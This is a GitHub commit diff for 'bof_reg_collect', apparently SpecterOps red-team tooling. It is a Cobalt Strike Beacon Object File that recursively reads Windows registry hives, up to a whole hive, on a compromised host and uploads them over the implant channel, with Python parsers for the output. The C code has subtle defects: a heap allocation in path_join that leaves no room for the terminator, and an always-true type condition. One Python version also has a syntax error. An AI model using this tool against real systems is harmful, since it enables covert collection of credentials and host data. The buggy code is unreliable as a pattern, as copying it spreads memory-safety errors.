Merge pull request #4 from SpecterOps/reg_bof_collect_update

Update bof_reg_collect
This commit is contained in:
Max Harley
2023-08-30 11:50:40 -07:00
committed by GitHub
10 changed files with 219 additions and 194 deletions
@@ -0,0 +1,5 @@
build/nemesis_bof.x64.o
build/nemesis_bof.x86.o
build/reg_collect.x64.o
build/reg_collect.x86.o
.mypy_cache
@@ -15,6 +15,8 @@ bof_reg_collect <HKCR|HKCU|HKLM|HKU|HKCC> <path>
3. Parse output with `nemesis_reg_collect_parser.py`
Note: To download a full hive, use an empty string as the path. Ex `bof_reg_collect HKLM ""`
```
python3 nemesis_reg_collect_parser.py <input.txt> <output.json>
```
@@ -17,13 +17,13 @@ typedef struct _queue {
} queue, *Pqueue;
int _size(Pqueue q) {
int retval = 0;
Pitem i = q->head;
while (i != NULL) {
retval++;
i = i->next;
}
return retval;
int retval = 0;
Pitem i = q->head;
while (i != NULL) {
retval++;
i = i->next;
}
return retval;
}
void _push(Pqueue q, void *v) {
Pitem i = (Pitem)intAlloc(sizeof(item));
@@ -6,7 +6,7 @@
#define CHUNK_SIZE 0xe1000
// https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728
BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
BOOL upload_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
int fileNameLength = MSVCRT$strnlen(fileName, 256);
// intializes the random number generator
@@ -87,4 +87,4 @@ BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
packedClose[3] = (fileId >> 0x00) & 0xFF;
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
return TRUE;
}
}
@@ -1,7 +1,7 @@
import struct
from typing import Tuple, NamedTuple, Union, List
import sys
import json
import struct
import sys
from typing import List, NamedTuple, Tuple, Union
REG_NONE = 0
REG_SZ = 1
@@ -11,38 +11,45 @@ REG_DWORD = 4
REG_DWORD_BIG_ENDIAN = 5
REG_LINK = 6
REG_MULTI_SZ = 7
# REG_RESOURCE_LIST = 8
# REG_FULL_RESOURCE_DESCRIPTOR = 9
# REG_RESOURCE_REQUIREMENTS_LIST = 10
REG_RESOURCE_LIST = 8
REG_FULL_RESOURCE_DESCRIPTOR = 9
REG_RESOURCE_REQUIREMENTS_LIST = 10
REG_QWORD = 11
def read_unsigned_int(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('>I', data[:4]), data[4:]
(ret,), data = struct.unpack(">I", data[:4]), data[4:]
return ret, data
def read_unsigned_long(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('<L', data[:4]), data[4:]
(ret,), data = struct.unpack("<L", data[:4]), data[4:]
return ret, data
def read_unsigned_long_be(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('>L', data[:4]), data[4:]
(ret,), data = struct.unpack(">L", data[:4]), data[4:]
return ret, data
def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('<Q', data[:8]), data[8:]
(ret,), data = struct.unpack("<Q", data[:8]), data[8:]
return ret, data
def read_fixed_string(data: bytes, length: int) -> Tuple[bytes, bytes]:
(ret,) = struct.unpack(f'>{length}s', data[:length])
(ret,) = struct.unpack(f">{length}s", data[:length])
return ret, data[length:]
def read_string(data: bytes) -> Tuple[bytes, int, bytes]:
size, data = read_unsigned_int(data)
if size == 0:
return b'', size, data
return b"", size, data
ret, data = read_fixed_string(data, size)
return ret, size, data
class RegKey(NamedTuple):
type_: int
path: str
@@ -52,23 +59,30 @@ class RegKey(NamedTuple):
value: Union[bytes, int, List[bytes]]
value_size: int
def read_key(data: bytes) -> Tuple[RegKey, bytes]:
type_, data = read_unsigned_int(data)
path, path_size, data = read_string(data)
path = path.decode('utf-16')
path = path.decode("utf-16")
key, key_size, data = read_string(data)
key = key.decode('utf-16')
key = key.decode("utf-16")
value = b''
value = b""
value_length = 0
if type_ == REG_NONE:
_, data = read_unsigned_int(data)
value = None
elif type_ == REG_DWORD:
_, data = read_unsigned_int(data)
value, data = read_unsigned_long(data)
elif type_ == REG_BINARY:
elif type_ in [
REG_BINARY,
REG_RESOURCE_LIST,
REG_FULL_RESOURCE_DESCRIPTOR,
REG_LINK,
]:
value, value_length, data = read_string(data)
value = list(value)
elif type_ == REG_DWORD_BIG_ENDIAN:
@@ -76,25 +90,29 @@ def read_key(data: bytes) -> Tuple[RegKey, bytes]:
value, data = read_unsigned_long_be(data)
elif type_ == REG_MULTI_SZ:
value, value_length, data = read_string(data)
value = [v for v in value.decode('utf-16').split('\0') if v != '']
value = [v for v in value.decode("utf-16").split("\0") if v != ""]
elif type_ == REG_QWORD:
_, data = read_unsigned_int(data)
value, data = read_unsigned_long_long(data)
else:
value, value_length, data = read_string(data)
value = value.decode('utf-16')
try:
value = value.decode("utf-16")
except Exception as e:
value = value.decode("latin-1")
return RegKey(type_, path, path_size, key, key_size, value, value_length), data
if __name__ == '__main__':
if __name__ == "__main__":
if len(sys.argv) != 3:
print('Usage: python nemesis_reg_parser.py <input file> <output file>')
print("Usage: python nemesis_reg_parser.py <input file> <output file>")
sys.exit(1)
input_path = sys.argv[1]
output_path = sys.argv[2]
with open(input_path, 'rb') as f:
with open(input_path, "rb") as f:
data = f.read()
arr = []
arr_size, data = read_unsigned_int(data)
@@ -102,5 +120,5 @@ if __name__ == '__main__':
for i in range(arr_size):
reg_key, data = read_key(data)
arr.append(reg_key._asdict())
with open(output_path, 'w') as f:
with open(output_path, "w") as f:
json.dump(arr, f)
@@ -11,7 +11,7 @@ sub readbof {
{
berror($1, "could not read bof file");
}
$msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3);
blog($1, $msg);
btask($1, $msg);
@@ -38,4 +38,5 @@ beacon_command_register(
"bof_reg_collect",
"Does Nemesis registry things",
"Usage: bof_reg_collect <HKCR|HKCU|HKLM|HKU|HKCC> <path>"
);
@@ -21,23 +21,36 @@ typedef struct _RegPath {
wchar_t *value;
} RegPath;
wchar_t *path_join(const wchar_t *path1, wchar_t *path2) {
int path1Length = MSVCRT$wcslen(path1);
int path2Length = MSVCRT$wcslen(path2);
int totalLength = path1Length + path2Length + 2;
wchar_t *joined_path = intAlloc(totalLength * sizeof(wchar_t));
if (!joined_path) {
wchar_t *path_join(const wchar_t *path1, const wchar_t *path2) {
wchar_t *new_path;
if (MSVCRT$wcscmp(path1, L"") == 0) {
int path_length = MSVCRT$wcslen(path2);
new_path = intAlloc(path_length * sizeof(wchar_t));
MSVCRT$wcscpy(new_path, path2);
return new_path;
}
if (MSVCRT$wcscmp(path2, L"") == 0) {
int path_length = MSVCRT$wcslen(path1);
new_path = intAlloc(path_length * sizeof(wchar_t));
MSVCRT$wcscpy(new_path, path1);
return new_path;
}
int path1len = MSVCRT$wcslen(path1);
int path2len = MSVCRT$wcslen(path2);
int totallen = path1len + path2len + 2;
new_path = intAlloc(totallen * sizeof(wchar_t));
if (!new_path) {
BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for joined path");
return NULL;
}
MSVCRT$wcscpy(joined_path, path1);
MSVCRT$wcscat(joined_path, L"\\");
MSVCRT$wcscat(joined_path, path2);
return joined_path;
MSVCRT$wcscpy(new_path, path1);
MSVCRT$wcscat(new_path, L"\\");
MSVCRT$wcscat(new_path, path2);
return new_path;
}
void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
const wchar_t *key_path, bool recurse) {
void query_registry_path(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
const wchar_t *key_path, bool recurse) {
HKEY target_reg_key;
DWORD rc1, rc2, rc3, rc4;
@@ -45,21 +58,21 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
KEY_READ | KEY_ENUMERATE_SUB_KEYS |
KEY_QUERY_VALUE,
&target_reg_key)) == ERROR_SUCCESS) {
WCHAR achClass[MAX_PATH]; // buffer for class name
DWORD cchClassName = MAX_PATH; // size of class string
WCHAR ach_class[MAX_PATH]; // buffer for class name
DWORD cch_class_name = MAX_PATH; // size of class string
DWORD num_subkeys = 0; // number of subkeys
DWORD max_subkey_length; // longest subkey size
DWORD cchMaxClass; // longest class string
DWORD max_class; // longest class string
DWORD num_values; // number of values for key
DWORD max_key_length; // longest value name
DWORD max_value_length; // longest value data
DWORD cbSecurityDescriptor; // size of security descriptor
DWORD security_descriptor_length; // size of security descriptor
DWORD i;
if ((rc2 = ADVAPI32$RegQueryInfoKeyW(
target_reg_key, achClass, &cchClassName, NULL, &num_subkeys,
&max_subkey_length, &cchMaxClass, &num_values, &max_key_length,
&max_value_length, &cbSecurityDescriptor, NULL)) ==
target_reg_key, ach_class, &cch_class_name, NULL, &num_subkeys,
&max_subkey_length, &max_class, &num_values, &max_key_length,
&max_value_length, &security_descriptor_length, NULL)) ==
ERROR_SUCCESS) {
// Enumerate Subkeys and recurse
@@ -70,9 +83,10 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
if ((rc3 = ADVAPI32$RegEnumKeyExW(target_reg_key, i, subkey_name,
&subkey_name_size, NULL, NULL, NULL,
NULL)) == ERROR_SUCCESS) {
if (recurse) {
wchar_t *new_key = path_join(key_path, subkey_name);
QueryRegistryPath(queue, hive, arg_hive, new_key, recurse);
query_registry_path(queue, hive, arg_hive, new_key, recurse);
intFree(new_key);
}
} else {
@@ -93,86 +107,78 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
if ((rc4 = ADVAPI32$RegEnumValueW(
target_reg_key, i, key, &key_length, NULL, &value_type,
value_data, &value_data_length)) == ERROR_SUCCESS) {
RegPath *regPath = (RegPath *)intAlloc(sizeof(RegPath));
queue->push(queue, regPath);
regPath->type = value_type;
RegPath *reg_path = (RegPath *)intAlloc(sizeof(RegPath));
queue->push(queue, reg_path);
reg_path->type = value_type;
wchar_t *total_path = path_join(arg_hive, key_path);
size_t total_path_length = MSVCRT$wcslen(total_path);
regPath->path_length = total_path_length * sizeof(wchar_t);
regPath->path = (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t));
MSVCRT$memcpy(regPath->path, total_path,
reg_path->path_length = total_path_length * sizeof(wchar_t);
reg_path->path =
(wchar_t *)intAlloc(total_path_length * sizeof(wchar_t));
MSVCRT$memcpy(reg_path->path, total_path,
total_path_length * sizeof(wchar_t));
intFree(total_path);
regPath->key_length = key_length * sizeof(wchar_t);
regPath->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t));
MSVCRT$memcpy(regPath->key, key, key_length * sizeof(wchar_t));
reg_path->key_length = key_length * sizeof(wchar_t);
reg_path->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t));
MSVCRT$memcpy(reg_path->key, key, key_length * sizeof(wchar_t));
if (value_type == REG_NONE) {
regPath->value_length = 0;
regPath->value = NULL;
reg_path->value_length = 0;
reg_path->value = NULL;
} else if (value_type == REG_SZ) {
regPath->value_length = value_data_length;
regPath->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(regPath->value, value_data, value_data_length);
reg_path->value_length = value_data_length;
reg_path->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
} else if (value_type == REG_EXPAND_SZ) {
wchar_t *raw_value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(raw_value, value_data, value_data_length);
// Use ExpandEnvironmentStringsW to expand the string
DWORD expandedSize =
KERNEL32$ExpandEnvironmentStringsW(raw_value, NULL, 0);
DWORD total_size = (expandedSize + 1) * sizeof(wchar_t);
wchar_t *expanded = (wchar_t *)intAlloc(total_size);
KERNEL32$ExpandEnvironmentStringsW(raw_value, expanded,
expandedSize);
// Copy the expanded string into the value
regPath->value_length = total_size;
regPath->value = expanded;
intFree(raw_value);
} else if (value_type == REG_BINARY) {
regPath->value_length = value_data_length;
regPath->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(regPath->value, value_data, value_data_length);
reg_path->value_length = value_data_length;
reg_path->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
} else if (value_type == REG_DWORD ||
value_type == REG_DWORD_BIG_ENDIAN) {
regPath->value_length = sizeof(DWORD);
regPath->value = (wchar_t *)intAlloc(sizeof(DWORD));
reg_path->value_length = sizeof(DWORD);
reg_path->value = (wchar_t *)intAlloc(sizeof(DWORD));
DWORD value = *(DWORD *)value_data;
MSVCRT$memcpy(regPath->value, &value, sizeof(DWORD));
} else if (value_type == REG_LINK) {
// TODO
} else if (value_type == REG_MULTI_SZ) {
regPath->value_length = value_data_length;
regPath->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(regPath->value, value_data, value_data_length);
MSVCRT$memcpy(reg_path->value, &value, sizeof(DWORD));
} else if (value_type == REG_BINARY || REG_LINK ||
value_type == REG_MULTI_SZ ||
value_type == REG_RESOURCE_LIST ||
value_type == REG_FULL_RESOURCE_DESCRIPTOR ||
value_type == REG_RESOURCE_REQUIREMENTS_LIST) {
reg_path->value_length = value_data_length;
reg_path->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
} else if (value_type == REG_QWORD) {
regPath->value_length = sizeof(QWORD);
regPath->value = (wchar_t *)intAlloc(sizeof(QWORD));
reg_path->value_length = sizeof(QWORD);
reg_path->value = (wchar_t *)intAlloc(sizeof(QWORD));
QWORD value = *(QWORD *)value_data;
MSVCRT$memcpy(regPath->value, &value, sizeof(QWORD));
MSVCRT$memcpy(reg_path->value, &value, sizeof(QWORD));
} else {
BeaconPrintf(CALLBACK_ERROR, "Unsupported type: %d\n",
value_type);
regPath->value_length = 0;
reg_path->value_length = value_data_length;
reg_path->value = (wchar_t *)intAlloc(value_data_length);
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
}
} else {
BeaconPrintf(CALLBACK_ERROR, "Error code: %li\n", rc4);
BeaconPrintf(CALLBACK_ERROR, "[WARNING] Error code: %li\n", rc4);
}
intFree(key);
intFree(value_data);
}
}
} else {
BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n",
rc2);
// BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n",
// rc2);
}
} else {
BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1);
// BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1);
}
ADVAPI32$RegCloseKey(target_reg_key);
}
void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) {
void format_upload_registry_data(Pqueue queue, char *upload_file_name) {
Pitem cursor;
RegPath *curitem;
formatp obj;
@@ -220,7 +226,7 @@ void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) {
queue->free(queue);
out = BeaconFormatToString(&obj, &fmt_size);
UploadFile(upload_file_name, out, fmt_size);
upload_file(upload_file_name, out, fmt_size);
BeaconFormatFree(&obj);
}
@@ -239,6 +245,12 @@ void go(char *args, int alen) {
arg_hive = BeaconDataExtract(&parser, NULL);
arg_path = BeaconDataExtract(&parser, NULL);
if (arg_file_name == NULL || arg_hive == NULL || arg_path == NULL) {
BeaconPrintf(CALLBACK_ERROR,
"Usage: bof_reg_collect <file_name> <hive> <path>\n");
return;
}
if (MSVCRT$strcmp(arg_hive, "HKCR") == 0) {
target_hive = HKEY_CLASSES_ROOT;
} else if (MSVCRT$strcmp(arg_hive, "HKCU") == 0) {
@@ -264,10 +276,11 @@ void go(char *args, int alen) {
path = (wchar_t *)intAlloc(wchars_num * sizeof(wchar_t));
KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, path, wchars_num);
QueryRegistryPath(queue, target_hive, arg_hive_w, path, true);
query_registry_path(queue, target_hive, arg_hive_w, path, true);
num_keys = queue->size(queue);
BeaconPrintf(CALLBACK_OUTPUT, "Total reg keys: %d", num_keys);
if (num_keys != 0)
FormatUploadRegistryData(queue, arg_file_name);
format_upload_registry_data(queue, arg_file_name);
intFree(path);
}
@@ -1,9 +1,7 @@
# Standard Libraries
import base64
import json
import struct
from typing import Tuple, NamedTuple, Union, List
import sys
from typing import List, NamedTuple, Tuple, Union
import json
REG_NONE = 0
REG_SZ = 1
@@ -13,11 +11,37 @@ REG_DWORD = 4
REG_DWORD_BIG_ENDIAN = 5
REG_LINK = 6
REG_MULTI_SZ = 7
# REG_RESOURCE_LIST = 8
# REG_FULL_RESOURCE_DESCRIPTOR = 9
# REG_RESOURCE_REQUIREMENTS_LIST = 10
REG_RESOURCE_LIST = 8
REG_FULL_RESOURCE_DESCRIPTOR = 9
REG_RESOURCE_REQUIREMENTS_LIST = 10
REG_QWORD = 11
def read_unsigned_int(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('>I', data[:4]), data[4:]
return ret, data
def read_unsigned_long(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('<L', data[:4]), data[4:]
return ret, data
def read_unsigned_long_be(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('>L', data[:4]), data[4:]
return ret, data
def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]:
(ret,), data = struct.unpack('<Q', data[:8]), data[8:]
return ret, data
def read_fixed_string(data: bytes, length: int) -> Tuple[bytes, bytes]:
(ret,) = struct.unpack(f'>{length}s', data[:length])
return ret, data[length:]
def read_string(data: bytes) -> Tuple[bytes, int, bytes]:
size, data = read_unsigned_int(data)
if size == 0:
return b'', size, data
ret, data = read_fixed_string(data, size)
return ret, size, data
class RegKey(NamedTuple):
type_: int
@@ -28,97 +52,59 @@ class RegKey(NamedTuple):
value: Union[bytes, int, List[bytes]]
value_size: int
def read_key(data: bytes) -> Tuple[RegKey, bytes]:
type_, data = read_unsigned_int(data)
path, path_size, data = read_string(data)
path = path.decode('utf-16')
class BofRegCollect:
def __init__(self, data: bytes):
self.data = data
key, key_size, data = read_string(data)
key = key.decode('utf-16')
@classmethod
def from_file(cls, path: str) -> "BofRegCollect":
with open(path, "rb") as f:
return cls(f.read())
value = b''
value_length = 0
def read_unsigned_int(self) -> int:
(ret,), self.data = struct.unpack(">I", self.data[:4]), self.data[4:]
return ret
if type_ == REG_NONE:
_, data = read_unsigned_int(data)
value = None
elif type_ == REG_DWORD:
_, data = read_unsigned_int(data)
value, data = read_unsigned_long(data)
elif type_ in [REG_BINARY, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_LINK]
value, value_length, data = read_string(data)
value = list(value)
elif type_ == REG_DWORD_BIG_ENDIAN:
_, data = read_unsigned_int(data)
value, data = read_unsigned_long_be(data)
elif type_ == REG_MULTI_SZ:
value, value_length, data = read_string(data)
value = [v for v in value.decode('utf-16').split('\0') if v != '']
elif type_ == REG_QWORD:
_, data = read_unsigned_int(data)
value, data = read_unsigned_long_long(data)
else:
value, value_length, data = read_string(data)
try:
value = value.decode('utf-16')
except Exception as e:
value = value.decode('latin-1')
def read_unsigned_long(self) -> int:
(ret,), self.data = struct.unpack("<L", self.data[:4]), self.data[4:]
return ret
return RegKey(type_, path, path_size, key, key_size, value, value_length), data
def read_unsigned_long_be(self) -> int:
(ret,), self.data = struct.unpack(">L", self.data[:4]), self.data[4:]
return ret
def read_unsigned_long_long(self) -> int:
(ret,), self.data = struct.unpack("<Q", self.data[:8]), self.data[8:]
return ret
def read_fixed_string(self, length: int) -> bytes:
(ret,), self.data = struct.unpack(f">{length}s", self.data[:length]), self.data[length:]
return ret
def read_string(self) -> Tuple[bytes, int]:
size = self.read_unsigned_int()
if size == 0:
return b"", size
ret = self.read_fixed_string(size)
return ret, size
def read_key(self) -> Tuple[RegKey, bytes]:
type_ = self.read_unsigned_int()
path, path_size = self.read_string()
path = path.decode("utf-16")
key, key_size = self.read_string()
key = key.decode("utf-16")
if key == "(default)":
key = ""
value = b""
value_length = 0
if type_ == REG_NONE:
self.read_unsigned_int()
elif type_ == REG_DWORD:
self.read_unsigned_int()
value = self.read_unsigned_long()
elif type_ == REG_BINARY:
value, value_length = self.read_string()
value = base64.b64encode(value).decode("ASCII")
elif type_ == REG_DWORD_BIG_ENDIAN:
self.read_unsigned_int()
value = self.read_unsigned_long_be()
elif type_ == REG_MULTI_SZ:
value, value_length = self.read_string()
value = [v for v in value.decode("utf-16").split("\0") if v != ""]
elif type_ == REG_QWORD:
self.read_unsigned_int()
value = self.read_unsigned_long_long()
else:
value, value_length = self.read_string()
value = value.decode("utf-16").strip("\x00")
return RegKey(type_, path, path_size, key, key_size, value, value_length)
def parse(self) -> List[RegKey]:
arr = []
arr_size = self.read_unsigned_int()
for i in range(arr_size):
reg_key = self.read_key()
arr.append(reg_key)
return arr
if __name__ == "__main__":
if __name__ == '__main__':
if len(sys.argv) != 3:
print("Usage: python nemesis_reg_parser.py <input file> <output file>")
print('Usage: python nemesis_reg_parser.py <input file> <output file>')
sys.exit(1)
input_path = sys.argv[1]
output_path = sys.argv[2]
reg = [k._asdict() for k in BofRegCollect.from_file(input_path).parse()]
with open(output_path, "w") as f:
json.dump(reg, f)
with open(input_path, 'rb') as f:
data = f.read()
arr = []
arr_size, data = read_unsigned_int(data)
for i in range(arr_size):
reg_key, data = read_key(data)
arr.append(reg_key._asdict())
with open(output_path, 'w') as f:
json.dump(arr, f)